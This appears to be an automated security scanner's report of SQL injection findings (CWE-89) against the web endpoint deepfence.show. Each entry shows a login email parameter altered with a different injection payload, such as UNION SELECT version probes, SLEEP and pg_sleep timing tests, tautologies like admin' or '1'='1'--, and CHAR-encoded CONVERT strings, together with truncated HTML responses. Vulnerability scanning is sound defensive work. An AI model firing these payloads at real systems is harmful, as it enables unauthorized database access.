Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #924
SQL InjectionScan
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #925
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR x=x
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #926
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ') or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #927
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin"/*
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #928
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 1083=1083 AND (1427=1427
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #929
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioOR x=y
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #930
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19--Response Content-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #931
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin' or '1'='1'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89Issue Number #932
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 28--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #933
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND true
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #934
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io and (select substring(@@version,3,1))='c'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #935
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioAND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(73)+
CHAR(78)+CHAR(74)+CHAR(69)+CHAR(67)+CHAR(84)+CHAR
(88)+CHAR(118)+CHAR(120)+CHAR(80)+CHAR(75)+CHAR(
116)+CHAR(69)+CHAR(65)))
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #936
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3,4,5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #937
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioHAVING 1=1#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #938
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT SLEEP(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
